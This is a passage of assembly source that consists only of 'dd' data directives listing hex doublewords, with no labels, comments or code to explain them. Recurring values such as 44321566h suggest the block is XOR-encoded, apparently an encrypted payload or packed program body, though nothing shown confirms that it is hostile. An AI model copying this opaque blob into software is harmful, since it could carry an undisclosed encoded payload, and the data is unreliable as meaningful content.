		dd 87321566h, 443215EAh, 0F2CDEC66h, 94BBE99Eh,	8FD2FE14h
		dd 44389869h, 27DB1566h, 6D321566h, 95C9576Ch, 4432128Fh
		dd 668E1766h, 96959EBEh, 90E390A0h, 0B86012B5h,	6086FF0Eh
		dd 113FFC9Bh, 0B0CD1566h, 0BD5BBCD8h, 25EFC537h, 0EE86D791h
		dd 5B3370D3h, 57DA7561h, 48321566h, 4FBE53D1h, 0CC4D6ED4h
		dd 0CC4CDB1Bh, 0D1B19CD2h, 0F86C897Fh, 88321572h, 0BBDF6F94h
		dd 5B4F04F1h, 0C771BB3Ah, 0D0833F8Fh, 960BB759h, 15B79807h
		dd 0E935C65Ch, 87DBC599h, 0C321566h, 0F2820F9Eh, 0DD5CC1C4h
		dd 5EAF30Fh, 0C1BB5C66h, 25E135CFh, 113A9A69h, 23D1566h
		dd 44321564h, 0A7F47406h, 16E10DB7h, 90B31A21h,	0AD321566h
		dd 22321575h, 0BF0A1A2Ah, 1D0169E1h, 27E7AC1Ah,	54CD9375h
		dd 79BE6B8Ch, 6AAA4CFFh, 2187EA9Fh, 2D35C667h, 11320BE6h
		dd 3F3D7566h, 4421FDB9h, 358B1566h, 0C1F144ACh,	5DA88B39h
		dd 245DF4A0h, 0A6F2ED98h, 9C534C51h, 5B0822E3h,	443EFC61h
		dd 709F1566h, 728718E8h, 0C4CA755h, 94CDF383h, 0D5851A06h
		dd 706AC5E6h, 634490EFh, 4B521286h, 223213E5h, 57C19466h
		dd 0E92E8B24h, 5CE390A0h, 427512B5h, 11349969h,	23D1566h
		dd 44321566h, 240166D9h, 0D35A7416h, 0E883E806h, 0ACFC5BDCh
		dd 54E59419h, 70009652h, 8957A099h, 0C9CA12B5h,	0F10822E3h
		dd 1EC77561h, 883216EBh, 8B8D1A66h, 0CBE2EA07h,	1132156Ch
		dd 0CBF7DA8Fh, 115A5411h, 27DBD55Dh, 0A8321566h, 0B9062467h
		dd 0AF4890EFh, 2BDB1286h, 15321566h, 0AE561B0Fh, 3E4F0DB6h
		dd 3AE390A0h, 717512B5h, 0EEE8AA69h, 25C60EDEh,	84CC010Eh
		dd 0A4CDE0B9h, 8FE11403h, 4432188Fh, 9C4BBA66h,	45F8159Eh
		dd 5F304AC2h, 0C1BFE945h, 25E12F51h, 113E9169h,	73D1566h
		dd 44321560h, 22329869h, 1E521566h, 883202EBh, 4420FC66h
		dd 14E11566h, 9BE398h, 90E06479h, 13C4A169h, 0C79A75CFh
		dd 71E2EA07h, 58D6F5D9h, 4434FD31h, 39B11566h, 0BA883673h
		dd 0D617FAE6h, 3AB79C07h, 4235F58Dh, 113EFC9Ah,	0ED7D1566h
		dd 0E22A4608h, 44189914h, 0F8537C33h, 88321577h, 682869C6h
		dd 392D8E51h, 2B458317h, 67116DBFh, 95B7D305h, 7D35C67Eh
		dd 1120FD06h, 452D1566h, 762094E0h, 1B3A575Fh, 8C81DBFEh
		dd 90AB1039h, 4B689AD7h, 223217EAh, 70CA9E66h, 7A5A7D9Eh
		dd 41DB8B36h, 63321566h, 0BB467EE5h, 8957A099h,	56DB12B5h
		dd 0B7321566h, 0E6B3870h, 0D26DB9AFh, 6C4E7B22h, 8A660B89h
		dd 26B7988Fh, 6135C65Ch, 44321568h, 8FABF5B1h, 0F34770A2h
		dd 9D4DC708h, 0CC3DCEB9h, 22321567h, 0F8E2EA9Ah, 88321561h
		dd 0CE6E6031h, 0ABC84217h, 0F1D997E3h, 8835FC61h, 8CBA1566h
		dd 3C634AEFh, 0C0B7D360h, 0C735C67Eh, 4432188Fh, 0E4C72366h
		dd 5A8F1567h, 4F0858C4h, 7B5A1877h, 0DBF5E91Dh,	2DA9406h
		dd 8725C41Dh, 443217EDh, 43537566h, 1057A099h, 0C3D12B5h
		dd 4432156Fh, 0EF8D7306h, 0EF851A9Bh, 0BFB79807h, 0AD35C65Ch
		dd 22321572h, 2AAB7380h, 25F6A092h, 6B7CC867h, 68923FF8h
		dd 0A18EFB40h, 88359C69h, 0C83D1566h, 22321567h, 71E2EA9Eh
		dd 0D6EB9F35h, 0CD5345D1h, 0C2D9BBE3h, 1E52E961h, 883217EFh
		dd 25537566h, 3AE390A0h, 0E97512B5h, 0D35C590Eh, 4CB11A9Ch
		dd 2D321566h, 113217E1h, 77537566h, 973370D3h, 0A7BFE961h
		dd 16E12F51h, 61E2EA93h, 44321561h, 0A9F5519Fh,	984B9F12h
		dd 68D9A7E3h, 0C1F4E061h, 25E10DB7h, 1137FC21h,	0D79C1566h
		dd 2CFC00CAh, 0E13431ABh, 0D7B97306h, 8832018Fh, 91EC4E66h
		dd 600EA04h, 129DE714h
		dd 85D0AFAEh, 39017187h, 97CD7435h, 16E11403h, 882F9969h
		dd 0C53D1566h, 22321571h, 1132078Fh, 0CEF1CA66h, 0F02B4EE6h
		dd 0E474348Eh, 0B0BD01FAh, 57F218Bh, 970822E3h,	2239FC61h
		dd 0CED91566h, 159ADDB7h, 39AB4550h, 2DE2EAD7h,	113208EAh
		dd 9FBC1A66h, 0AD321566h, 22321574h, 88974432h,	7636761Eh
		dd 6E5E82D2h, 980ECC20h, 94BBCF08h, 8FD2FED0h, 42BE1A06h
		dd 0A3321566h, 188EDCB0h, 8839FC44h, 6081566h, 0DB88AC2Dh
		dd 46277AAh, 0DF474ECh,	43E10DB7h, 0FDB37539h, 1DB93D4Dh
		dd 445A749Ah, 4BE6AE06h, 22321DEAh, 13BA1A66h, 0E8321566h
		dd 2187EA07h, 0CB35C667h, 11321560h, 5E2FDE61h,	0C1BF3E75h
		dd 25E12F51h, 1132068Fh, 0AFD39B66h, 0F66A5BBAh, 7C1B69C3h
		dd 2D4F8763h, 9336FB18h, 0CD3DC599h, 2232156Ch,	0E8B97306h
		dd 0BCFF52D9h, 0C1BB7456h, 25D2FEE0h, 0C0B7D393h, 0D735C67Eh
		dd 107C7D93h, 0DDCB8B8Fh, 0C23370D3h, 91BA1A61h, 0AD321566h
		dd 22321572h, 91639CC4h, 0B79F57DAh, 10393387h,	0AA45D161h
		dd 86EB5681h, 0B20590EBh, 0BBCA12B5h, 0ABCBEDB6h, 0F1D99FE3h
		dd 8837FC61h, 53A81566h, 0E49A90D3h, 0C22AC4E3h, 43D4A61h
		dd 44321577h, 2232198Fh, 0B66FE666h, 0F775131Fh, 0DA465AD6h
		dd 0A7A7D67h, 0ED52C475h, 8832018Eh, 0C39C2D66h, 5EA7261Ah
		dd 251C0DFh, 6244EAE0h,	6D449918h, 223DFC26h, 90791566h
		dd 21B2117Bh, 672A53EDh, 5D513429h, 0EE534ADAh,	5B3370D3h
		dd 5CBC1A61h, 2D321566h, 113207E4h, 883FFC66h, 20DB1566h
		dd 0A5FA53DDh, 0B29B3D00h, 516057Ah, 970822E3h,	0F2CDE961h
		dd 112A9A69h, 9BDB1566h, 4F321566h, 4CDBE7BAh, 90EDCEE9h
		dd 22733C4Fh, 89937ACEh, 0A7BB958Eh, 16D2FEE8h,	0D7CB4506h
		dd 2E53C4ECh, 2FDB7562h, 39321566h, 48228D7Dh, 613EA04Ah
		dd 8306B482h, 0C98D1A37h, 885A743Fh, 24321576h,	22349F69h
		dd 0C9B31566h, 0E548042Dh, 5C9BF5E7h, 4A532814h, 11320566h
		dd 0E8327F9Ah, 44309769h, 79611566h, 84CD749Eh,	8FE106EBh
		dd 4432108Fh, 2FF90266h, 94BBB8D6h, 8FE112B3h, 44321D8Fh
		dd 99C93566h, 241B1049h, 1DB798F3h, 4B35F5F1h, 223205E3h
		dd 1139FC66h, 11671566h, 0C5DCEEh, 2EC8D753h, 0E9E2EA06h
		dd 0B3D110Ch, 44321567h, 32327D93h, 79CA1566h, 88323566h
		dd 4439FC06h, 0D8511566h, 21B966A5h, 0A5455AAFh, 0AAB37396h
		dd 4853A5B7h, 0DA7566h,	0BF321566h, 0D74EF2BDh,	0BE5890D9h
		dd 3554CEFEh, 484ED3C0h, 0AD687406h, 22321576h,	197B871Fh
		dd 4634EBA0h, 944E2377h, 7231E278h, 9CA7EA07h, 6135C675h
		dd 44321568h, 0CE25AE25h, 2CAE3012h, 0A773415Bh, 0C1BB750Dh
		dd 25E10E47h, 1132188Fh, 0AC598666h, 344D12F3h,	0C7357EC2h
		dd 94BB8121h, 8FE116EFh, 443E9269h, 0A93D1566h,	11321560h
		dd 88329B69h, 4581566h,	2232058Fh, 96CD4866h, 7BE6C8D1h
		dd 86ED537Eh, 0CEF85D6Ah, 1327DDFh, 3521566h, 85B946ADh
		dd 0A83D743Fh, 1132157Fh, 8832018Fh, 0F9B89566h, 0C72ABD7Bh
		dd 51DCB754h, 0C914926Eh, 299A3EFh, 22327D5Eh, 7BCB1567h
		dd 0BAB01A66h, 24321566h, 2232068Eh, 0A70BDB66h, 3DF54B7Dh
		dd 30650ED3h, 9785A00h,	27C81972h, 8823FD38h, 910A1566h
		dd 1AA9D77Ah, 5B73DCCCh, 1F91FFEBh, 1A7DB533h, 0AFA7EA07h
		dd 1E35C675h, 883212E9h, 0B58C7566h, 433EA26Ch,	3FA390EFh
		dd 87CA12B5h, 44321BE5h, 0AF3D7566h, 11321566h,	7DB6FFE7h
		dd 0CF5312E7h, 0F11C50D3h, 1ADB7561h, 50321566h, 5D4D33FBh
		dd 12B3A1E6h, 9052F549h, 0CE5B6591h, 443BFD20h,	7FD41566h
		dd 31EEB41Ah, 0D3FD9FDCh, 0D9B97407h, 25E1163Fh, 64879C9Ah
		dd 0E835C666h, 0F4F4AA69h, 0BFBB745Fh, 16E1308Fh, 7EB37506h
		dd 5D722642h, 430AE6E6h, 48AF9E07h, 8735C665h, 443214E3h
		dd 9860E966h, 11321566h, 82B9CF67h, 0C71601EDh,	0A1CB11A2h
		dd 953D159Fh, 88322C77h, 0A4BB459Ah, 22321163h,	15DA9666h
		dd 0D41611E1h, 0B81611EFh, 27D29C36h, 11321562h, 8832114Bh
		dd 60369266h, 63E9C3Ah,	18DA4306h, 88321566h, 9DD68850h
		dd 97060014h, 3DA4E39h,	9A321566h, 0F292B340h, 0D9A8896Ah
		dd 6A1A0D13h, 0A9AAA75Bh, 1E6B4430h, 0A03D7507h, 1132157Ah
		dd 88249169h, 55DB1566h, 74321566h, 0CC73670Bh,	3CB34568h
		dd 62D40AF6h, 98B6F054h, 98CAD557h, 5B29C4E3h, 48B91A61h
		dd 2D321566h, 113213E1h, 88B01A66h, 11321566h, 204F9EDBh
		dd 9383AB5Eh, 4EB3D29Bh, 2F893182h, 0CCB3FB67h,	7A893182h
		dd 8839FC3Bh, 0FC971566h, 0DF7A690h, 0C2B29B09h, 16DC947Dh
		dd 47674A7Dh, 77123112h, 4E298BDBh, 0D5DC1433h,	4EDA759Ah
		dd 0C0321566h, 50EC3A68h, 0CA7384F7h, 0CCF39426h, 7B436617h
		dd 4450E6DFh, 2554742Bh, 44229E69h, 29DB1566h, 28321566h
		dd 5B9BADD8h, 0F2B21EF4h, 1737464Ah, 3C52B811h,	0F289205Eh
		dd 64165165h, 99072D63h, 6607381Ch, 95275CBh, 0D302C9B5h
		dd 0E8851A50h, 7BC1A07h, 87321566h, 443205E7h, 2239FC66h
		dd 29C81566h, 63037B15h, 5921266h, 5A42EA25h, 0E61621E7h
		dd 362C410h, 80B13152h,	0D5C49462h, 0E962C410h,	0EA8AAA31h
		dd 93C5676Dh, 8768D2E7h, 0EF1B60D6h, 0AC461639h, 0E5F49446h
		dd 4231B024h, 11321F8Eh, 0B1040166h, 4A14FFE8h,	2D23EBCDh
		dd 113215E5h, 0D9534A66h, 44320DDFh, 8DDB9466h,	103E3576h
		dd 27F39497h, 0CF3E3576h, 0AB3D4C5Fh, 11321577h, 4EB37306h
		dd 41DB76B7h, 4C321566h, 0CB84D376h, 158F9C07h,	0B135C66Ah
		dd 2DCD909Fh, 11323DE3h, 8823FC66h, 36A91566h, 0B57BBE09h
		dd 0B58044CDh, 6FB53A4Bh, 0ACA59E0Eh, 2232750Bh, 15A4FC9Eh
		dd 43D1566h, 44321567h,	1F347D9Eh, 1DBB1566h, 8821FC42h
		dd 0D6021566h, 0DD6071DCh, 6B596CC4h, 97899E2Ah, 6B807F1Dh
		dd 2235FCF4h, 6AF11566h, 9855F368h, 40DE94BFh, 0AB321566h
		dd 0F868315Ah, 88321568h, 0F23F5CF7h, 0D2CA9BF1h, 6FD982EFh
		dd 5A596BE5h, 0CDC7EC62h, 0F1024CF3h, 1DBE1A61h, 61321566h
		dd 44321561h, 7CB8B6C9h, 7BD6B946h, 885AE962h, 4B321576h
		dd 223214E6h, 9861E066h, 8CF19485h, 0C7321566h,	3EB5118Dh
		dd 5BB4942h, 8858ED42h,	44321A8Fh, 1CD9C266h, 0F076D4Dh
		dd 389BD224h, 9715EB2Fh, 31BF8099h, 17DB12B5h, 0F0321566h
		dd 58E92BFDh, 2237FC8Eh, 0C30C1566h, 15B6D89h, 970038E3h
		dd 0F98A7561h, 7004BFFCh, 4DBB4035h, 0CD6FFEEFh, 44524EBCh
		dd 9160C6EDh, 0E96D9DAFh, 1D162199h, 2236D1E7h,	1DDB1566h
		dd 50321566h, 93092732h, 0C759C744h, 0F9502DC5h, 88324A03h
		dd 4432058Fh, 947E0266h, 4A03AB76h, 88A6501Eh, 82811C30h
		dd 69F47DC1h, 25BB1566h, 59B37542h, 4E99955Dh, 43E8AA69h
		dd 0E8CB75CBh, 0CDD31007h, 0F63715D8h, 21264821h, 3C163122h
		dd 9C6F52D4h, 0FA77F44Bh, 32B21A66h, 0F8321566h, 8832156Dh
		dd 0AFB2232Bh, 767530A7h, 1E9D3E45h, 883210E3h,	16CE7566h
		dd 0DA03743Ch, 0E903D257h, 88321A8Fh, 0DF46EF66h, 994E6DCh
		dd 7F3F64A6h, 9E74640Dh, 0CDCB9C37h, 63E9EADh, 1E36D1E5h
		dd 88320AE3h, 49DB7566h, 34321566h, 96D2D03Ch, 404A7DE8h
		dd 6AC950FFh, 2232108Eh, 0A5C6B966h, 0E96ACFA3h, 4434850Eh
		dd 60E9C66h, 1EF22593h
		dd 883214E0h, 0EAC7E066h, 0A43DE813h, 11321560h, 26B4606h
		dd 24C774ADh, 0A954D6D1h, 25CD7497h, 4CB14B42h,	45B01A62h
		dd 0DE321566h, 0D2F5949Eh, 918C542h, 0EA54EAA1h, 0A3ED3C11h
		dd 0BF54EA89h, 4BDD9411h, 0AD18C542h, 22321561h, 5E9F078Ch
		dd 0E0E569EDh, 443208F2h, 0DA1601EFh, 90C99E06h, 0E8B9CBDh
		dd 0CF65745Fh, 0E6B13172h, 9B71A62h, 0E8321566h, 4BDBD7EDh
		dd 0A8321566h, 8011CF49h, 0FE654885h, 0B06AA5F4h, 0A9539616h
		dd 0C235C0DBh, 778BED61h, 24CDEA99h, 0D5AB00h, 700AD6E6h
		dd 83DBD557h, 0B1321566h, 76B2ECE0h, 0EA2B8D5Ch, 3163D724h
		dd 44321566h, 16CBFCE7h, 0E033168Ah, 0BCCBD4E7h, 45B8168Ah
		dd 9A85753Fh, 0EEC7AF06h, 0E953787Ah, 0C43DDD56h, 22321579h
		dd 1121FC06h, 0C5421566h, 9050BF6h, 85F3481Bh, 21BE754Bh
		dd 2F419A6h, 90B2AF65h,	42532EFFh, 0C5730ADDh, 7BB97553h
		dd 25534A31h, 172FA833h, 0FCB34EE6h, 0D3B2207Ah, 246FFB67h
		dd 44C1A269h, 0BE0FDCE7h, 0F06EA07h, 0C51611EDh, 223211A2h
		dd 1139FC66h, 4CB51566h, 8961CC91h, 8FDF8594h, 19DBD4B6h
		dd 88339E69h, 75CE1566h, 23B71AA7h, 0E4321566h,	0C1B71A2Ch
		dd 0ADCDEA99h, 22321561h, 120DEAE3h, 710F95BEh,	0CDFD9C31h
		dd 60E9E9Eh, 1136D1E7h,	0D8CB1566h, 0CF160191h,	0E6B33162h
		dd 11321562h, 0AC269E9Eh, 0C5D49C30h, 223211A0h, 15F49666h
		dd 0D41621E1h, 89469Eh,	0A37D6B25h, 3D4D83ADh, 5ED99411h
		dd 454D6B19h, 79319CB5h, 1132078Fh, 6ECEFE66h, 0A1C9BD3h
		dd 72BF3DDCh, 0C878C010h, 0D9CEB74Eh, 4432110Eh, 0E8334C66h
		dd 113BFC3Fh, 0F86B1566h, 0BA069D98h, 2DF74302h, 113213EFh
		dd 36547566h, 2C53561Ah, 22323915h, 0E91601EFh,	93E39099h
		dd 0CD3D12B5h, 22321567h, 0C0A79E9Ah, 6135C67Dh, 4432156Eh
		dd 0ADA15984h, 0B465C750h, 0D3607506h, 4B534B31h, 223204EDh
		dd 113EFC66h, 622A1566h, 0E9E40AE6h, 0B374A72Dh, 2853E9CEh
		dd 5B3E88F3h, 0C5B61A61h, 2D321566h, 11320DECh,	8821FC66h
		dd 7CA01566h, 82D9843Dh, 151CB163h, 0D0BA27BDh,	1F784A3Ah
		dd 606EA3Dh, 15F6963Ch,	8832138Fh, 1E946566h, 0A90B5FD3h
		dd 98613152h, 8CF19485h, 0C7321566h, 3EB511A5h,	1FDB4942h
		dd 0A8321566h, 0DDD09B47h, 0A11C2859h, 4DDA3C48h, 8C8A45E9h
		dd 45321566h, 6369EA0h,	0F836D1E5h, 88321574h, 0EBDC2B8h
		dd 1D90280Dh, 0F68554EAh, 7C241F7Eh, 0DADB2880h, 0DACDEA9Ah
		dd 4B162199h, 7D36D1E5h, 171621EDh, 0E1B3F6EFh,	11321562h
		dd 0F36D6E5h, 0B86E317Ah, 0A3547507h, 9A054E96h, 73D749Fh
		dd 44321577h, 2232198Fh, 6EACBF66h, 1A89B527h, 7D9CA7E5h
		dd 63E9EB0h, 90D19C35h,	883211A5h, 40F19666h, 7E1609E1h
		dd 0D8FC9406h, 87405E17h, 443216EBh, 0ED851A66h, 113CFC07h
		dd 0FC101566h, 0D53BC125h, 0BD15FFCFh, 0C3CCEF62h, 0D0162199h
		dd 4436D1E7h, 2BDB1566h, 86321566h, 9473B61Ah, 761062E8h
		dd 296B90A1h, 113212B5h, 99DB1566h, 0E4321566h,	0C95277DAh
		dd 0C0AD0F87h, 88306B6Eh, 0C1BDAD92h, 223F9269h, 19DB1566h
		dd 0C4321566h, 0EC03A74h, 0E5C140F6h, 0C2380CE3h, 88321561h
		dd 0F9B1E066h, 25D2FF90h, 26B61A66h, 71321566h,	443A9969h
		dd 0AD3D1566h, 11321564h, 15BF7406h, 43ED9A62h,	2220FC06h
		dd 658B1566h, 5888B3B6h, 0C686BEAAh, 2898CEBAh,	65C73966h
		dd 87E1EA07h, 443214EFh, 0A7CDEC66h, 16E10A1Bh,	88269A69h
		dd 4BDB1566h, 81321566h, 17516721h, 635B8EFFh, 0A59815FEh
		dd 9FB1BECDh, 16E10A1Bh, 1DB01A02h, 0B8321564h,	3D4F90A1h
		dd 113312B5h, 61521566h, 44321563h, 0A9CE6BBCh,	0F8B373EDh
		dd 61535C97h, 4432156Eh, 0C451873Dh, 40426704h,	33547506h
		dd 25CBE2E1h, 0EB0390EBh, 0F8CE1286h, 88321574h, 0C787389Ch
		dd 41AD8919h, 0E336C23Bh, 0BC0F4827h, 94CD8C7Bh, 223DFD06h
		dd 0EDA01566h, 6A19EDB9h, 0C9F2A2F2h, 5776A21Eh, 1120FCCDh
		dd 2C8B1566h, 53E8444h,	5FAD0351h, 7A902401h, 0A3A0A673h
		dd 5337AF3Eh, 0AF532E60h, 0F1D9D3D3h, 8FB91A61h, 4B321566h
		dd 223214EFh, 0ACBFEC66h, 8FD36291h, 9F59406h, 9A030824h
		dd 1FFF168Eh, 88894607h, 6D54113Eh, 0D51B4EB9h,	4932D2E7h
		dd 23D7362h, 4432157Ch,	223CFD06h, 47EA1566h, 87AD4DF7h
		dd 750F5D33h, 5012317Eh, 0E58B733Fh, 96574B7h, 5453314Ah
		dd 36B9389Dh, 15F69642h, 9853D7E7h, 4EDB389Dh, 7D321566h
		dd 33B4D9BBh, 771AF94Dh, 918F9EDEh, 0DE35C661h,	0EECDEADFh
		dd 852E099h, 755304BDh,	9B63E9A6h, 11321566h, 0A1DED4E7h
		dd 0B533256Fh, 0BDEFCE7h, 10B8256Fh, 8837FC3Fh,	3E941566h
		dd 1210C61Fh, 0AA61EDAEh, 0BF1539F0h, 2CF19425h, 0BFACDB5h
		dd 9A3D4EB8h, 88321573h, 4432058Fh, 3EC9A66h, 533DE33Ah
		dd 9505A68h, 2CC43AB0h,	0A506EAD6h, 371611E7h, 0D03B5B73h
		dd 0C7DAC37h, 0E3B3224Fh, 51BF31F7h, 0DF88FCE7h, 8C1B7B0Eh
		dd 0CBF3EC3Fh, 9054756Eh, 8704548Dh, 443213EEh,	22B91A66h
		dd 70321566h, 98DBD457h, 23321566h, 9E6566A9h, 0F25B762Dh
		dd 67CC5493h, 0EB4C572h, 0DD6B9069h, 40CEEA99h,	0EEA5AE35h
		dd 180341A4h, 7A691142h, 0D3548253h, 8839FC32h,	9EF81566h
		dd 72F0AE96h, 0DD9EDDD3h, 9CC54521h, 60369E42h,	2D36D1E5h
		dd 11321EEEh, 8834FC66h, 0F7291566h, 0CCE8C5BEh, 11DB905Fh
		dd 0C3D12B5h, 443215E5h, 22299D69h, 993D1566h, 88321573h
		dd 4432058Fh, 431A66h, 144EB47Ah, 0AA558D7Eh, 0D52D64A4h
		dd 0F3B97501h, 0E38F4007h, 302D9A79h, 39169EE0h, 276FFD4Fh
		dd 0B358810Ah, 87F21E9Eh, 443226E3h, 23BB1A66h,	0E8321566h
		dd 0A7BF90A1h, 443312B5h, 0CA521566h, 11321568h, 7A864E0Bh
		dd 0F24FA9F7h, 9DEE5361h, 9054CE32h, 0D69AB1B5h, 0BB8D1A06h
		dd 4353E5EDh, 4888AA31h, 71331557h, 0C71629EDh,	43CA11A2h
		dd 0C08D1A06h, 88379E69h, 0C5541566h, 436E1EAEh, 2846D40Eh
		dd 0AC3E9E66h, 2436D1E5h, 2232048Eh, 0BF6ADF66h, 9EE8FD01h
		dd 28D60F22h, 9D418227h, 5B86F2C3h, 3664743Dh, 102D6A76h
		dd 12961DDCh, 9AC03CDCh, 4CB13152h, 56B31A62h, 0CB321566h
		dd 1132156Bh, 0AC2A245Bh, 0EA846746h, 0D0FB4813h, 7752B832h
		dd 6E62F4E7h, 0B21ED5E7h, 0AB532775h, 0C23260D3h, 9ADB7561h
		dd 0FD321566h, 345324A2h, 8C47FB77h, 0DE42F447h, 835B0ADFh
		dd 0D2B97330h, 5DA7507h, 8A321566h, 0BACE36B1h,	31E1CD1Ah
		dd 0CD7A2B50h, 5F5C74FFh, 1E0521F9h, 43C2AA69h,	61027D31h
		dd 496D78BEh, 8BB31689h, 52639E8h, 3FBCAC37h, 47033AD9h
		dd 0B84C9C3Fh, 43CA7539h, 0FFDCFB5Bh, 27B71A88h, 0BD321566h
		dd 0FFEF2BE7h, 943DC8BBh, 883215C4h, 998C7306h,	0DAB973F2h
		dd 4734D207h, 95DD13Eh,	806A4348h, 0F28B7509h, 706EE975h
		dd 88299D69h, 0C83D1566h, 22321573h, 1132058Fh,	2DC29166h
		dd 34F47754h, 1CD6C923h, 0B6C20308h, 8C8D4234h,	0C5321566h
		dd 0A7A23A0h, 90CC144Ch, 0A07A2388h, 0CDCA4A4Ch, 0F13260D3h
		dd 0ED52ED61h, 883AFD06h, 0BCEF1566h, 0BD64BBBFh, 1E6D15DBh
		dd 0E953C4D9h, 441E488Fh, 2221FC66h, 0E9611566h, 60A4DD99h
		dd 2FEBCA45h, 0A649F47Ch, 63483CE6h, 76A4FC1Eh,	0ADC7EA99h
		dd 2232156Ch, 3CE48A8Fh
		dd 0E827937Fh, 0CD639502h, 7B6944A7h, 113A9669h, 7D521566h
		dd 801E82DEh, 0A7017462h, 16E13AEBh, 88339F69h,	0ADCB1566h
		dd 2232156Bh, 69CCF560h, 0D7EBEEE8h, 14008647h,	21FAD4A3h
		dd 11389A69h, 8DDB1566h, 12321566h, 0ECD679BFh,	0F9419B4Bh
		dd 0C1CF3800h, 941B467Fh, 3B7BE863h, 62BC1035h,	87DB738Eh
		dd 52321566h, 3B95A8E2h, 64E0697Eh, 6E1A280Fh, 85C71D0Fh
		dd 0AE3D05A6h, 11321568h, 88321C8Fh, 46FD8566h,	30AAA881h
		dd 0D9035C45h, 5AF9C9Fh, 4B35C649h, 223202E6h, 1120FC66h
		dd 46A11566h, 0F3CB32D2h, 0CC9BE869h, 43FDF51Bh, 78BC0A8Eh
		dd 4532155Bh, 96B11A66h, 0F8321567h, 88321574h,	3D53DFA1h
		dd 7291A80Eh, 0C65395EAh, 2B1E335Eh, 7AB37B17h,	9989AEDDh
		dd 10A39069h, 85DB1566h, 4321566h, 56C1E5E4h, 276508B4h
		dd 9A217A0Ch, 4432AC37h, 9A621566h, 11321566h, 80BBE567h
		dd 0C13D4C3Eh, 22321575h, 11B91A06h, 61321566h,	44321560h
		dd 60FF36D0h, 40535BB2h, 883211DFh, 0CFFC1466h,	0E6B1316Ah
		dd 5B51A62h, 61321566h,	44321569h, 105F03B3h, 0ACD391DCh
		dd 0DBE8AAC4h, 0CD6F26A2h, 0F13260D3h, 0AB547561h, 87DBA73Eh
		dd 1A321566h, 773B75B6h, 69A44D44h, 34D9B810h, 0CF536779h
		dd 0F1314CFBh, 933DE961h, 8832156Eh, 44BE1A06h,	43321566h
		dd 1DB92699h, 8CF69642h, 95B97306h, 5B10E4E7h, 71534BF5h
		dd 878BDEE6h, 443214E7h, 7253EC66h, 60EFAE35h, 0D4035DB3h
		dd 1E691142h, 53EFE7E7h, 923D5DB3h, 8832156Eh, 44309F69h
		dd 43521566h, 0E4607506h, 8839FC39h, 0EE371566h, 0FD895E12h
		dd 5FCE0647h, 16474DEh,	0B3BB42B0h, 7C6DEDEFh, 28B73E9Ah
		dd 0E835C679h, 8279AC00h, 4359F3E6h, 11321F8Fh,	7B7E5766h
		dd 31414076h, 0E3D3E5E6h, 91521786h, 73D428Fh, 44321560h
		dd 0D6B6F3E7h, 125359F0h, 5B0698E3h, 0FB3D7561h, 0A35442A0h
		dd 4ABB6186h, 8CDE9407h, 0CD321566h, 7A643162h,	0E89FED38h
		dd 78554963h, 13FA146Dh, 470EB7D9h, 65DD941Ch, 7F344E37h
		dd 0CAC594B9h, 0BB21315h, 9C3D4A9Eh, 88321560h,	0D1887306h
		dd 66BB7473h, 77520942h, 190CBE7h, 0ADCA7407h, 22321665h
		dd 11339F69h, 0DACB1566h, 86B3F7EFh, 22321562h,	1136FFE7h
		dd 9CB51566h, 48BB4942h, 0AF3DE942h, 11321567h,	0E4CC7D93h
		dd 50BB1566h, 2235FC42h, 78471566h, 0E1D43D5Bh,	0ADFB246Eh
		dd 22321560h, 71199351h, 1DB90BBCh, 43E1274Bh, 223A9369h
		dd 9B3D1566h, 88321564h, 7FCE7406h, 0EEB61A64h,	0F8321566h
		dd 88321576h, 78BA638Bh, 69CC903Dh, 0B0EAC93h, 82100A0Ah
		dd 0A48A4530h, 0D57CCB3Eh, 22F110BEh, 58C524E4h, 18170D53h
		dd 7AF49C7Bh, 0F86CE767h, 8832156Fh, 65B66F15h,	0DFA3606Ch
		dd 948A456Dh, 7F619C47h, 4EAE2B6h, 0BE07C591h, 246FDD78h
		dd 798CD583h, 4B6AD467h, 22320CEEh, 1126FC66h, 0EB5A1566h
		dd 9DEB0892h, 2B55503Bh, 9CFCDF74h, 25343A40h, 7FCEE39Dh
		dd 0F13E88EBh, 65B71A61h, 0E8CDEA99h, 0BCC0AA69h, 9D5A4707h
		dd 4B222463h, 9DC9E7E7h, 0AEF35DF6h, 0D5E8E261h, 0FBB357B4h
		dd 88835746h, 0B168C5EFh, 93BF989Ah, 0E835C62Bh, 0E3DF499h
		dd 44321575h, 22321B8Fh, 0BA88066h, 6F3A35BCh, 186C1BA5h
		dd 0ABBEF3C3h, 0C229C4EBh, 0C3D7561h, 44321572h, 22321A8Fh
		dd 8FE6B66h, 5FC7B4E1h,	2F0F7F0Ah, 32C570B8h, 11321A8Fh
		dd 52756E66h, 0D96C242Dh, 1CED073Ah, 6F48F851h,	0AC269E07h
		dd 0C5D09C34h, 223211A4h, 15F09666h, 0D41601E1h, 44321D8Fh
		dd 0B0224F66h, 3EC16C3Ch, 0AC06EACBh, 40F6943Fh, 2D321566h
		dd 113214E4h, 162EC66h,	44361086h, 0CAB11566h, 35369262h
		dd 0AC069C3Ah, 1DAF9E9Eh, 2D35C665h, 113213EAh,	30547566h
		dd 0BB53A62Ch, 0A88B4455h, 2011A009h, 0D136312Ah, 0CEC3943Fh
		dd 4211A009h, 1EDB47D4h, 59321566h, 9446AC1Bh, 0EEE2AFC0h
		dd 0CDB0A1CDh, 7053BFBDh, 5FE390EDh, 0F3CA12B5h, 1123FC86h
		dd 0FE4E1566h, 0F208073Fh, 3B90CA80h, 0B3C022EBh, 8B036F48h
		dd 9726F0E3h, 2238FC61h, 68661566h, 1873DA43h, 4C2012A4h
		dd 0DBC7E357h, 1143980Eh, 0AC369C66h, 0AD6C4D30h, 22321576h
		dd 0F4783C56h, 308D450Ah, 0C67DBBD6h, 4B57A553h, 1E9F739Ah
		dd 883202EDh, 55B11A66h, 0CB321566h, 1132156Ah,	4B33CE2Fh
		dd 0D7B4FA66h, 0B592D88Fh, 1132048Fh, 657B2466h, 642AE86Ah
		dd 94E61FC0h, 2379386Eh, 68F37A7Eh, 4434FC64h, 102B1566h
		dd 0EAC190A8h, 88359A69h, 4B521566h, 3F84DDD9h,	9CB71607h
		dd 6135C652h, 44321560h, 0D784FE49h, 47624720h,	0AC069E3Eh
		dd 0AD36D1E5h, 2232156Eh, 0AE5949C2h, 0DE08278Bh, 4435FCCBh
		dd 5E551566h, 0B7817C75h, 0E946380Dh, 8C3328A3h, 4346AF34h
		dd 0C13328A3h, 8838FC3Ch, 629B1566h, 0F63E9B25h, 0CF66C1C6h
